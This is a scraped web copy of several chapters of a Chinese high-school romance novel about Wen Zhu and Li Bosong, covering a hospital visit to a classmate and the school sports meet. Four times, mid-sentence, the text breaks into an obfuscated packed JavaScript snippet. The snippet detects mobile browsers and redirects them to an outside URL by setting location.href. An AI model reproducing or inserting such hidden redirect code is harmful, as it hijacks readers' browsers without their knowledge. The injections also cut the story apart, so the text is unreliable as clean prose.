九月初依然很热,大概得到十月份,气温才能降下来。他们这一届的同学们已经习惯了高三生的身份,不会再习惯性地走错楼了。也习惯了一进教学楼面对眼前的长条横幅,崭新的横幅上写着气势磅礴的一句诗:青霄有路终须到,金榜无名誓不归。 走廊里全国高校的介绍换了一批更新的,很多班级都挂上了心愿墙,至此,高三的气氛才真的来了。 不过对于闻竹来说,气氛多了些紧张却并不压抑,因为身边的“活宝”们最擅长苦中作乐,自娱自乐其乐无穷。 大概是高三过于无聊,九月末的运动会成了大家最期待的香饽饽。开学典礼刚开完没几天,作为体委的毕雨泽就拿着单子四处转悠,寻找他心里的运动健儿。 此时,他心里的运动健儿闻竹把笔搁下,脸上写满了拒绝:“我跑不动。” “闻姐,”毕雨泽狗腿地换了称呼,试图晓之以理动之以情:“你怎么跑不动呢,你读初中的时候不一直都是你们学校100米第一吗?” 这老黄历都被翻出来了。闻竹纳闷地问:“你怎么知道?” “泊松说的啊。” 毕雨泽推锅的动作十分丝滑。闻竹掀了掀眼皮,偏头瞪李泊松。他正拧着水瓶,闻言动作一顿:“有这回事?我不记得了。” 毕雨泽半点面子都不给他:“就是你说的啊,你当时语气还很骄傲,不懂你在骄傲什么……” 李泊松觉得这里即将变成他的社死现场,气氛有点怪,他说自己要去卫生间,撑了下胳膊从毕雨泽桌上跳出去了。 闻竹对他时不时展现弹跳力的行为无语至极,转头就真诚地和毕雨泽建议:“你去抓李泊松啊,让他跳高,跳远也行。” 毕雨泽看着她,没说话。 “这么看着我做什么,”闻竹努力推销道:“他长跑短跑都厉害得很,你让他报。” “不是,我只是想说……你们两个当面不说一句好听的话,背后倒是把对方夸得天上有地上无的。”他顿了顿,疑惑道:“青梅竹马都这样吗?” 闻竹:“……” 李泊松回来之后,老老实实地从闻竹身后的过道进去,递给她一瓶乌龙茶,问:“你答应毕哥了吗?” 闻竹在写题,她停了下笔,告诉他“没有”。 李泊松奇道:“为什么?上次吃饭的时候他们不是说你运动会拿了不少分吗?” “他让我跑100,还让我接力,那个流程表上写这两个项目挨着,”闻竹语气坦然:“我跑不动。” 如果就这两项的话其实也没问题,但100米都是初赛之后没多久就决赛,她想跑得好一些。 “嗯,那就不跑。”李泊松语气包容,听起来像什么德高望重的长辈。 闻竹腹诽完,忽然想到什么,问他:“你呢,毕雨泽肯定给你报了很多项目,你同意了么?” “差不多,”李泊松说,“但我还是不会跳高,离运动会还有二十多天,我好好学学。” “你这么好学啊。”闻竹弯弯唇角,过了一会表情淡了些。 她看了眼李泊松锁骨的伤处,又很快移开了视线。 李泊松之前说这就是一道疤痕,和正常人没差的,不会影响什么她之后就不对这个疤那么耿耿于怀了。但偶尔也会想,李泊松那段时间过得非常不好,心里的伤疤别人看不到,但是这道疤痕却一直在那里。 闻竹知道这种情绪是心疼,但这时候的她还不清楚,心疼有时候是心动的开始。 - 孟丽岩是个要强的人,这种要强不仅体现在班级管理和成绩上,她对运动会的集体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361347|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 项目也比较在意,大概是在她的影响下,三班的同学集体荣誉感都很强。离运动会还有二十多天的时候,他们就已经在体育课上进行游戏项目的练习了。 本着尽可能让更多的同学参与的宗旨,像李泊松闻竹这种项目多的人就很少参加游戏项目,李泊松爱玩,贼心不死地问过毕雨泽,有没有凑不够人的游戏项目让他参加,他也想玩。 闻竹在旁边听得直想笑,她看到毕雨泽捏着笔杆划拉了两下子,之后大笔一挥,和李泊松说:“这个拼图接力缺两个人,你和闻竹可以不?” 闻竹:“我……” 李泊松:“好啊,拼什么?” 闻竹:“好吧。” 他们拼的图是学校的校徽,看起来难度不大,但是来回需要跑一百米。体育课结束回班的路上,闻竹走两步停两下,心里算着自己运动会那两天得跑多少米。 “怎么累成这样?”李泊松从她身后追上她,偏头问。 “不知道啊,可能是体力差吧。” 李泊松笑了声,很配合“嗯”了声:“十八岁就是不如十五六是吧?” 闻竹觉得这人真是有点烦啊,只提醒道:“马上进楼了,你小心被大梁抓到。” 他转球的手规规矩矩地停下了,把球反手抛给身后的路一杭。 在教室门口的时候,李泊松被隔壁班男生拦住了,他们两个在后门那儿说了几句话,闻竹直接进了班。大概一分钟后,李泊松走回自己的座位,却发现闻竹的椅子被推进了桌子底下,她人蹲在地上。 “做什么呢?”他探身过去,没看懂这是怎么了。 “李泊松你来看看,这怎么回事啊,是暖气漏水了吗?” “虽然我不知道是怎么回事,但是,”他顿了顿,眯着眼睛看到了地上的一滩水,还没看明白怎么回事,嘴上接着把话说完了,“这个时候暖气里没有水。” “嗯?”闻竹保持那个姿势,头也没回地问:“为什么?” 问完之后她对自己做了一个简单的反思,好像是有点没常识,但随后她又说服了自己,这不重要。 “现在是秋天啊,十月末才供暖。”李泊松俯身看过去,闻竹正好仰头,看着他的下巴。 其实李泊松真的是很帅一男的。 她脑海里鬼使神差地出现了这么一个想法。不是在他问的时候敷衍他也不是闹着玩似的顺着他的话说,而是她眼前出现了他的脸,脑海里最清晰的想法。 自己什么时候开始关注李泊松的脸了?他一直长这样吗? 闻竹想,如果以后曲思嘉再问她有没有觉得李泊松长得好看,她可能要换一种答案了。 两人视线一错,李泊松抬了抬下巴:“哎,破案了,你看窗台。” 窗台的花盆底下有一片水渍,偶尔还顺着边沿往下滴。 “……” 闻竹心想,还好他发现了,不然就得上报学校后勤了。 那就丢人丢大了。 这花盆很大,长方体状,大概占了三分之一窗台的面积。他们班从高一到现在就没养活过一盆花,连仙人掌多肉都仿佛经历过非人的折磨一般。到了高三,生活委员很迷信地觉得养花养不活这个预兆不好,什么都不养还觉得窗台空荡荡的,大家想,总不能真的养鱼吧?后来集思广益,开学伊始就在窗台种了生菜和香菜。 也算绿色植物了,对眼睛好,只要按时浇水,一定能活。 闻竹离这个花盆最近,她每天放学前浇一次,早自习之后又浇一次,现在这个花盆里的水一摇晃就会流出来一些。闻竹想,像极了她刚刚进水的脑子。 李泊松笑笑,从班级的卫生角拎来一把拖布,把地面拖干净后,他说:“好了,请坐吧,你还站着看什么?” 闻竹看到他拿着拖布的手臂上隐约出现的青筋,随口评价道:“看你,突然觉得你挺帅的。” 男生先是一怔,而后笑了,高兴是一方面,另一半是无奈。 闻竹这个坦诚劲儿,真是明月之入无心可猜,多想半点都觉得是在冒犯她。 被一记直球打中,李泊松在眩晕状态下选择放任自己自作多情十秒钟,之后他说:“你以前说的都是在哄我是吧?”他叹气,装作谴责的样子:“有点缺少发现美的眼睛啊。” “你知道吗?”闻竹闲闲地接道:“有句话叫‘得了便宜还卖乖’。” 李泊松干脆把这句话进行到底,他说:“好,再夸两句。” 49. 童年故事 运动会在即,班级里却出了一件令人意外的事。毕雨泽训练的时候意外肌肉拉伤,请了半个月的假。 受伤这件事在体育生和运动员中都较为常见,但他这次有些严重,必须得住院。知道这件事之后,就连岩姐都吓了一大跳。他们几个在群里问这问那,听到他说检查没什么事才放了心。 毕雨泽半个月不用训练,倒是勉强可以苦中作乐。每天一打开微信,他们就能在小群里看到这人大呼无聊。 在毕雨泽第十三次说无聊想念他们的时候——其实时间才过去不到两天,曲思嘉提议道:“咱们放学太晚了,去的话会打扰隔壁床的病人吧。要不周末去看看他?” 她话音刚落,发现其他三个人都无奈地看着她,把她看得有些发毛。 “去啊,必须去。”路一杭说:“他每天在群里整活不就是这个意思。” 曲思嘉:“嗯?” - 周六快放学的时候,岩姐拿着一沓卷子走到他们座位附近,问:“你们这周末去医院看毕雨泽吗?” 虽然有疑问词,但这句话并不能算是个问句,李泊松实话实说:“是,老师,我们都去。” “那正好,你们把这几天的卷子给他带着,”她一边说着,一边在自己手里抽出来两张卷子,“哦,还有这两张。” “……”李泊松愣了一瞬,替毕雨泽说:“谢谢老师。” 在岩姐走远后,闻竹笑了好一会儿:“不用给毕雨泽买水果了,”在李泊松看向她的时候,她抬了抬下巴,视线扫过那些卷子,“带着这么一堆卷子去,也不算空手。” 李泊松哭笑不得。 - 他们来医院没忍心真空着手,还是带了水果、毕雨泽叨叨了好几天的零食,还有一束花。对于其他,毕雨泽都很满意,甚至感激涕零地假装抹了下眼泪,但见四个人中找不到一个配合他表演的,于是就把目光放在了那束花上。 “哥哥姐姐们,这是谁挑的花?” “闻竹和李泊松啊,”路一杭推了推眼镜,冷淡地说道:“非要给你买这束,拦都拦不住。” “呃,挺好看的,可是为什么是康乃馨?”毕雨泽一脸懵逼,真诚地问:“这啥意思,你们俩对我的爱是父爱吗?” “首先,我们对你没有爱,其次,”闻竹眨了下眼睛,转头看向其他人,“有人告诉我这是康乃馨吗?” 曲思嘉朝她挑了下眉。 他们几个已经懒得对没有生活常识这件事进行互相嘲笑的活动了,反正较真起来大家都半斤八两。但路一杭推了下眼镜,而后比了个手势道:“曲思嘉说了两遍。” “那就是我们没听到。”李泊松笑笑,率先认错,而后试图洗脑毕雨泽:“这是投其所好啊,你不是喜欢粉色吗?就这束最好看了。” 李泊松处事成熟,滴水不漏,闻竹的性格本就不像他,在他们面前更是懒得伪装半点。她说:“好看就行了,管它是什么。不然还给你买粉玫瑰吗?” “我喜欢玫瑰,”毕雨泽想了想:“倒也不是不行。” ………… 李泊松依然是笑,嘴上却肯定地说道:“不行。” 虽然这花被装模作样地嫌弃了一会儿,但后来还是被路一杭细致地摆在了桌面上。曲思嘉想起了有意思的事,等着看毕雨泽的反应,于是带着点幸灾乐祸的语气道:“哎哎,除了这个还有别的呢,重量级的。” 听了这话,毕雨泽原本兴致勃,听他们说完来龙去脉后脸都黑成锅底了。 “所以你们真的给我带来了??”毕雨泽“身残志坚”,在床上扑腾了一下,无能狂怒了一会儿,冷静下来后说:“泊松,等会儿你出门的时候把它扔了行吗,岩姐问你你就说掉海里了。” “我看你脑子才是进海水了,”路一杭说:“你怎么不说被你家狗吃了?” 毕雨泽最近几天闲得冒烟,这会儿终于有人跟他抬杠了,他忙道:“我家没有狗。” 路一杭呵呵两声:“哪个好人能把卷子掉海里去啊?” 闻竹刚洗了个苹果坐下,李泊松看到了她,把桌边的水果刀拿到手机,接过了那个红苹果。他眼神认真,低头削着苹果皮。 一段时间过去了,他发现闻竹的头发又长长了些,低头时会遮住她精致的眉眼。 这会儿听到他们的对话,李泊松笑了声,手上一抖,快要垂到地下的苹果皮直接断了,闻竹无语地捡起来扔进了垃圾桶,而后警惕道:“你笑什么?” 他说:“笑你呀。” 路一杭没反应过来:“闻竹怎么了?” “她呀,她……” 这话刚开了个口子就被闻竹打断了,毕雨泽看向她,发现闻竹正歪着头,表情故作很凶地威胁身边的李泊松:“不许说。” 李泊松不怕她这个样子,只是语气听起来很遗憾:“可是我想说。” 闻竹顿了顿,妥协道:“那你说吧。” 李泊松挑眉:“你不想让我说?那我就不说了。” “不是,”毕雨泽不乐意了,“你们两个是和别人之间有结界吗,有人在意我吗?”他往那边一看,路一杭和曲思嘉也在聊天,这什么情况? “我们都在意你,”李泊松说着,把切成小块的苹果装进盘里,又往他面前推了推:“病号先吃,请吧。” 闻竹看着他的动作,视线又滑向男生优越的侧脸,在心里冷笑一声,觉得这人真是个大型中央空调。之后她瞥了一眼盘子里的苹果,正好五块不多不少,又感觉他是端水大师。 “所以到底怎么了?”曲思嘉很感兴趣地刨根问底。 闻竹看着李泊松,问他:“我没有把卷子掉进过海里啊?还是你想说……?”她说着,想起了挺久之前的一件事。 李泊松笑了一会儿,闻竹被他传染了笑意,有点忍不住嘴角上扬,只好拿了块苹果装作吃东西的样子。 李泊松解释道:“不是把卷子掉进海里了,是把练习册掉进水缸了。” “我们两个之前住在城南那边,她家院子里有很多花花草草,离门口很近的地方有一个小石桌,闻竹喜欢在那个桌上学习。”李泊松说这些的时候没有停顿和思考,他都惊讶于自己过了三年仍然清晰如昨的记忆。 闻竹接着说:“那个石桌旁边有个水缸,里面的水是浇花用的,我在那附近背英语作文,有个人突然出现吓了我一跳,我手里那本练习册就直接掉进去了。” “啊,那之后呢?”闻竹性格算不得多沉稳,但一般不怎么犯错,大家对她的“黑历史”兴致勃勃,好像是什么让人津津乐道的话题。 “之后我们那天下午就去书店买了本新的,”闻竹笑道:“花的是小学生李泊松的钱。” “晾干了不能用了吗?” “那个水缸里的水都是雨水,而且不多,当时我正常弯腰都够不着。李泊松把它捞出来之后,整本练习册都脏兮兮的,像在下完雨的地面上打了好几个滚的小狗一样。” 实在是记忆犹新,闻竹自己的脑海里都有当时的画面。 李泊松被这个奇怪又可爱的比喻逗笑了,闻竹又说:“之后英语课上老师就问我,闻竹啊你这练习册前边怎么成空白的了?当时我有点不好意思说,但有人嘴快,”她说着,看了李泊松一眼,“他说,‘老师,闻竹的练习册 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370156|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被我不小心弄进水里了。’” 因为是周末,闻竹没像上学那样扎上头发,散着的时候不像平时那么明亮利落,而是有些温柔。她说这件事时的情绪外露比平时明显,甚至还说的绘声绘色笑意盈盈,在李泊松眼里好像浓墨重彩的画。 他听到闻竹问:“那是小学几年级来着?” “五年级,五年级那年的夏天。”李泊松说,“那时候你只有一米五,不知道后来怎么长到了这么高。” “注意你的语气啊,”闻竹瞪他,“你这话说的像我的某个长辈。” 李泊松开玩笑:“我倒是也不介意。” 闻竹:“我要骂你了。” 李泊松好脾气地道:“对不起。” “真有意思啊,得亏你们两个都记得。”路一杭评价。 闻竹伸了个懒腰,靠在椅背上:“搞得鸡飞狗跳的,怎么不记得。” 曲思嘉乐呵呵地总结:“不鸡飞狗跳不是青春嘛。” 笑笑闹闹了一会儿,路一杭出去给毕雨泽倒水。他前脚刚走,毕雨泽手机提示说外卖到了,在一楼大厅,李泊松要去取,闻竹起身,按住了他的肩膀:“我去吧,你快把卷子都拿出来给他,还有上次考试的卷子,岩姐不是特意嘱咐你让你给他讲讲吗?再拖一会儿就忘了。” 见他还要说什么,闻竹声音沉下来:“坐下。” 她刚刚很严肃,这会儿眼睛里又带了盈盈笑意:“喂,你想什么呢,这种事怎么能让女生做,是吧?” “没有,”李泊松把心底最真实的想法说出来:“我就是觉得我在这儿,这种事就不应该让你做。” “行了啊你,”闻竹在他肩上拍了下,之后收回手:“我想去拿,正好走一走。” 曲思嘉也起身准备和她一起去。 李泊松点了下头。 闻竹走出病房的时候回头看了眼,他正垂着眸子翻包。看着他一张一张地拿出卷子,毕雨泽的脸色也越来越黑。她轻轻笑了下,医院的消毒水味都变得好闻起来。 外卖是牛肉饭,并不算沉,她们两个完全能拿得动,只是中午的时候电梯人有点多,等了两趟才上来。一进门,看到路一杭在给毕雨泽讲题,而原本应该给他讲题的人在和隔壁床位的大爷聊天。 闻竹有些无奈地瞧了他几眼。 李泊松这边聊得热火朝天还不忘伸手接过外卖放在一旁的桌上,闻竹抬眼的时候也礼貌地笑笑,和大爷打了招呼。 两个病床之间的过道比较窄,李泊松坐在大爷床边,闻竹在毕雨泽床边坐下,两个人几乎背靠背,这距离很近,偶尔衣料的摩擦显得有些暧昧。 闻竹小声问他们两个男生:“他什么时候和这叔叔聊上的?” “你们刚走没一会儿陈叔就从外边回来了,泊松他们两个就一直聊天来着。”毕雨泽说着,眼神还很佩服:“我们泊松真是交际花,怎么做到的。这叫什么,男女老少通杀,是吧?” 闻竹:“……” 闻竹听他们又聊了一会儿,大爷叫他过来吃饭,让他们该玩就玩不用顾及他,他听评书。闻竹很轻地笑了下,之后李泊松拎着那个凳子坐到了她身边。 吃完饭后,毕雨泽忽然想起了件大事,他叫住李泊松,哭诉道:“我不能参加运动会了,你一定要给班级争光啊泊松,自己学跳高吧,一定要报名啊。” “啊,”李泊松正穿着衣服,他抬了下下巴,伸手把外套的拉链拉到脖颈,“好,你放心吧。” “……”路一杭无语道:“我们下周还来呢,你别这样可以吧?” 毕雨泽喜笑颜开:“好的,下次不要再带卷子过来了。” 50. 校运动会 一中的操场上彩旗猎猎,鼓声震天,闻竹一手拎着个椅子,背着包朝班级的位置走过去。她远远地看见路一杭放下一箱水,不知道是被迫还是自愿地在听隔壁班的男生吹牛。 她走着走着肩膀忽地一轻,偏头看过去的时候手上的椅子也被人拿走了。李泊松拎起了她右肩上的书包,人却在她左边,闻竹只好无奈转头。 “不用帮我,不沉。” “我想帮。”李泊松故意往右一步,碰了下她的胳膊,“你迟到了。我还等你呢,你不打招呼就先来了。” 闻竹腹诽了下这颇有些“恶人先告状”的语气,从他手里夺回自己的书包,掀了下眼皮:“是吗?你等我等到哪儿去了,操场?” 李泊松把她的椅子放下,抱臂笑道:“帮忙搬东西嘛。” 九月末的天气变化无常,运动会的第一天幸运地赶上了个大晴天,气温从前几天的雨后低温升到了三十几度,早上穿半袖也完全不冷。闻竹又把头发编起来了,外面套了一件颜色鲜艳的防晒衣。 “你今天好开心啊,”她可能是被李泊松的情绪感染了,忍俊不禁道:“为什么?” 李泊松没答,倒是反问她:“运动会不好吗?” “就那样吧,跑步很累,天气也很热。” 李泊松点头,知道她说的是实话,因而他也实话实说:“但是不用在班里写卷子就很好。” 闻竹偏头看他:“你是小学生吗?” “是啊,你是高中生,十八岁的闻同学。”李泊松拖着调子,看到闻竹从包里拿了罐柠檬茶给他,他接过来,动作利落地勾开拉环,故意问:“哎,这是让我帮你打开,还是给我喝?” 闻竹木着脸朝他伸手。 李泊松不嘴欠了,迅速装乖和她道谢。 手机在他兜里不要命地震了一会儿,闻竹推了他一下,他这才转头去接电话了。 - 闻竹试图给自己的迟到找借口,理由是这个运动会的到校时间比平时早了整整半个小时。她刚坐在椅子上,包还没放下,曲思嘉在后边喊她去换衣服。 “马上开幕式了,”曲思嘉一副怒其不争的样子:“最后一次运动会还卡点,你你你……” 闻竹坐下的这么会儿工夫,旁边的路就被搬着椅子来的同学挡住了,她匆忙之中从前边的桌子上翻了出去,脱下防晒衣扔回椅子上。 “来了,”她指了指自己身上,说:“我穿着衣服来的。” 曲思嘉朝她比了个大拇指。 “闻竹,早,你们去哪儿?”她刚走出去几步,就遇到了隔壁班的两个女生。 “早。”闻竹也和她们打招呼,她笑笑,答:“彩旗队。” “诶,”女生很感兴趣地问,“你们班去彩旗队的男生是谁?是不是李泊松?” “对。” 她们两个开玩笑:“岩姐就选帅哥美女是吧?” “没有的事,”闻竹眨眨眼,“李泊松今年才转过来,我去年脚崴了,我们去年运动会都没走方阵,现在是多余的人,就只好去彩旗队啦。” 闻竹想动脑子说话的时候也是滴水不漏的,她这时候的小表情很可爱,两个女孩不约而同地笑了下。闻竹朝后指了指,抱歉道:“朋友在等我,先走了。” 曲思嘉举班牌,拿着礼服裙去卫生间换衣服,闻竹穿着彩旗队统一的服装,在帮她拉背后的拉链。 “你们彩旗队这衣服谁选的?” “谁知道呢,”拉链拉好了,曲思嘉转过身来,闻竹得以看到她的神情。她有些想笑,扯了扯自己身上的衣服,没忍住还是问:“这衣服真有那么丑?” 曲思嘉的表情很复杂:“跟好看不搭边就是了,得亏你长得好。” 想到闻竹早上直接穿着它就来了,她更想笑了。“那你一会儿的项目怎么办?穿着这个比赛??” 曲思嘉嫌弃的表情过于生动,闻竹弯唇道:“我带了运动服。这衣服兜风,本来我就跑不动。” 前半句没问题,后半句的真假有待商榷。闻竹只是长跑跑不动,短跑拿名次毫不费力,这是不争的事实。 - 钟楼上的时针指向八,开幕式准时开始,各个班级的代表队在场外等待,彩旗队紧随国旗护卫队入场,然后是鼓乐队,场面也是声势浩大热闹非凡。 整个彩旗队分成两路跑,举着旗站在跑道边缘围住操场,闻竹的站位在开幕式的入口。 她把重心放在靠着旗子那边的脚上,看起来站得很直,实则在偷懒。他们班就是候场的第三个方阵,闻竹偏头,看到曲思嘉笑容明媚地朝她眨眼睛。 于是她也眨回去。 等待所有班级入场是一件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388129|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颇为无聊的事情,她转头,余光又瞥到了站在距离她一个身位的李泊松。闻竹终于忍不住了,小声叫他名字:“怎么是你站在这?” 明明排练的时候站在这个位置的是高二的一个学弟。 “我和学弟换了。原来挨着的人我都不认识,这个开幕式半个多小时呢,太无聊了。”他说这话脸不红气不喘的,弄得闻竹很无奈。 像李泊松这种交际花,就算一开始不认识,几分钟之后也认识了,他无聊什么。 闻竹一边腹诽,一边抬眼看了下八点钟的太阳。虽然时令已至九月末,但依然可以称得上是炽热。她心里想着要怎么活过下午,嘴上敷衍他:“好好好,在我旁边你不无聊。” “是啊,”他重复道:“在你身边我不无聊。” 大概是握着旗杆太久,闻竹手心有些出汗了。她一语不发地盯着旁边人看,而后两人同时移开了目光。 开幕式快结束时,闻竹朝钟楼那边看了眼,收回视线后又去看身边人如松如竹般的侧影。 这人说什么无聊才换到这来从头到尾都是瞎话,半小时过去,他们一句话都没说,甚至眼神交流都没有。 等闻竹换下那身衣服回到班级区域的时候,李泊松已经架上了三脚架,正把手机往上放。 她诧异道:“……你干嘛呢?” “给身残志坚卧病在床的毕哥直播运动会。”他说完可能也觉得有点傻,抿了下唇。闻竹巧妙地和他产生了一种共鸣,笑了一会儿,心想岩姐竟然也由着他们这么胡闹。 李泊松问她:“二百米检录了,你有没有听到?” “嗯,”她点头,背过身去给李泊松看自己身后的号码布,“这就去了。” 主席台那边又喊了一遍高三女子二百米初赛的检录通知,没等李泊松再说什么,那边的视频通话突然接通了,毕雨泽嚷嚷了几句:“通了吗?喂?喂!泊松啊,泊松……” 周围有几个女生看到闻竹准备去检录了,纷纷和她说加油,班里其他同学也转头附和。闻竹笑笑:“谢啦,我一定尽力。” 李泊松也混在其中和她挥了下手,又附赠一个明亮的笑,就转头过去和毕雨泽说话了。 闻竹本来已经转身走了,几步后觉得不对劲又转头回来。她无语道:“不是……李泊松,你连一声加油都不和我说?” 51. 双向信任 彩旗猎猎,鼓声震天,随着发令枪响,欢呼声排山倒海般地涌来。闻竹在主席台下等着检录,探着脑袋往操场看去。视线里忽地看到曲思嘉跑了过来,头发有些乱了,甚至有一缕在耳际没有梳上,手里还拎着装着刚换下来的礼服裙的纸袋。 她跑到闻竹面前后在她下一层台阶上站着喘气,看来是为了赶上她检录累够呛。 闻竹拉着她的手把她拉到了阴凉处,之后给她重新梳了下头发。 “你怎么搞得这么狼狈?” “着急来看你呗,”她在闻竹胳膊上不轻不重地敲了下,问:“路一杭和李泊松呢?他们这么没来?” “路一杭被岩姐叫走了,李泊松……”闻竹哼道,“他支了个三脚架给毕雨泽直播呢。” 语气里的无语太明显,倒是把曲思嘉逗乐了。“你这是什么表情啊?” “他连一句加油都不和我说。”闻竹控诉,“薄情寡义,铁石心肠。” 这会儿的闻竹过于生动,倒是和平时很不一样了。曲思嘉觉得新奇好玩,心想李泊松在调动闻竹情绪这方面很有能耐啊,她说:“哦,他给不给你加油对你的成绩有影响吗?” “半点都没有。”她现在的发型跑起来并不方便,闻竹拆掉编得漂漂亮亮的辫子,用摘下来的两个皮套在脑后扎了一个低马尾。检录轮到她了,她叫曲思嘉把袋子放回去坐下歇歇,曲思嘉说回去喝口水,之后就去给她加油。 闻竹拒绝:“你也累坏了,别折腾啦,就在座位上好好坐着就行。咱们班那个位置多好啊,离终点近。” 曲思嘉接话:“能看到你冲线。” 虽然在高中也参加过两次运动会,但她其实并没有十足的把握,于是弯弯唇,笑道:“那就借你吉言咯。” - 抽签抽完之后,闻竹在第二组,在第一组站上跑道后,她和这组的七个女生一起穿过塑胶跑道朝起点处走过去,走到起点附近却发现了一个让人意外的身影。 李泊松穿着干净的白T恤,脖子上挂着相机的黑色袋子,衬得他整个人更加明亮,李泊松捕捉到了她的目光,朝她粲然一笑。闻竹惊觉自己很喜欢这种在人群中和他对视的时刻。 “你怎么在这?” 她平复了下心情,刚把话问出口,却又觉得是句废话。 李泊松倒是认真答了,他晃了下手中的相机:“给你拍照啊。” “嗯?”她发出疑问的一声。 “嗯,”李泊松说,“我现在是闲人。” 他的接力跑完了,长跑在下午,上午这段时间理论上来说不会被岩姐安排什么活才对。 于是闻竹问:“岩姐叫你来的?” “我毛遂自荐。”李泊松眨眼。 发令枪响起,一瞬间跑道上的大家像离弦箭一般冲了出去,把闻竹的目光吸引到那边了。过了短暂的一会儿,闻竹在热闹的氛围里转回头,意识到李泊松还在看她。 闻竹也看过去,歪头道:“把我拍得好看点啊。” 李泊松心里想,你长成这样,把你拍丑才是技术活吧。嘴上老老实实道:“我尽量,你加油啊,跑完教我怎么拍。” 闻竹站上跑道,朝他遥遥点了下头。 李泊松透过镜头捕捉到她自信灵动的笑,将这耀眼的画面定格。 - 游戏环节全部都被安排在了运动会的第二天,因着接下来的十一假期,大家都有些心绪浮动,玩游戏的时候更是一个比一个兴奋。游戏环节和田径项目同时进行,两边都很热闹。 午休铃刚打过,闻竹趴在桌上,懒洋洋地看着两个遮光伞缝隙中漏出的一缕光,听李泊松在她耳边念了遍游戏规则。 听着听着,原本因为没睡觉的些微倦意散了个干净。 “嗯?你再说一遍?” 她支着下巴,盯着在自己桌前晃荡椅子的李泊松问。 “哦,”李泊松听话,真又播音似的重复道:“拼图接力项目,每班两名参赛选手,一个男生一个女生,两人需要合力将四块拼图在50米远处的终点拼好,用时最短的组获胜。拼图的图案不同但难度均等,由各班抽签决定。” 他们参加的这个所谓的“拼图接力”,说是游戏项目,实则难度不小。听这游戏规则的意思,拼图反而没什么难度,难度还是跑步。 闻竹嫌李泊松晃得她头晕,伸手毫不客气地拍了下他肩膀:“毕雨泽当时是不是说跑一百米?五十米来回跑两趟,这不是二百米吗……” 毕雨泽人虽不在,但江湖依然有关于他的声音,主要是讨伐声。 其实李泊松想不起来了,他答应得嘴快,本来就没好好听,但依然附和道:“是啊,毕哥这人怎么这样!” 闻竹本人倒是没有很开心。这件事说起来还是怪李泊松,要不是他答应得那么快,她自己都不一定会揽下这个活。 李泊松把胳膊搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423137|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在椅子上,歪头看着她。两人一个笑意盈盈,一个面色愠怒,一时间竟然很有意思。 广播在校园内的扩音器中响起,路一杭在两人耳边打了个响指,提醒道:“广播说十五分钟之后就开始了,你们两个这是干嘛呢?” 李泊松说“这就去了”,于是路一杭在他后背上拍了下就走了。李泊松嘶了声,接着和闻竹说:“你这个表情,好像不太愿意和我一起啊。” 闻竹一口水喝完,挑眉看他。 “你当时是不是听到我说行才答应的,我以为你很愿意呢。” “小点声!”闻竹差点又要在他身上拍一巴掌。她顿了顿,还是矜持地收回了手,小声威胁道:“走了。” - 操场上的砂石随着运动蹦起来,跳进了闻竹低帮的运动鞋里,她一面活动了下被石子搓磨的脚,一面眯着眼睛去看眼前摆着的拼图块。 一共四块,工工整整地放在每一组眼前。学校还特意把图案朝下放置,试图提升一些难度。而且拿着接力棒跑步都会多少降低速度,更别说拿着这么大一块拼图了。 她在这边想来想去,李泊松倒是闲适得很,还和隔壁二班的男生聊天呢。 闻竹拉了下他的衣服下摆,问:“你想怎么办?” 李泊松甩手掌柜当得很怡然:“听你的吧。” “那就拿一块拼一块。” 男生微微弯腰,比了个OK的手势。 在等待开始的过程中,李泊松笑意盈盈地和闻竹分享刚听来的八卦。没人不爱八卦,闻竹也不例外,只好放弃了矜持往他身边凑了凑。 “这个游戏原本的拼图都是一中校徽,当时毕哥也是这么说的,是吗?”闻竹不明所以地点了下头,听到他说:“那可太有意思了,他们说原来的拼图丢了一部分,剩下的就从校徽改成别的了,好像是前几届运动会用过的。” “啊?” 这理由简直让人哭笑不得。 闻竹笑了会儿,问:“改成什么了啊?” “哦,那我没听说。”他说:“我再问问。” “你回来。”闻竹哭笑不得地叫住他,“算了,啊。” 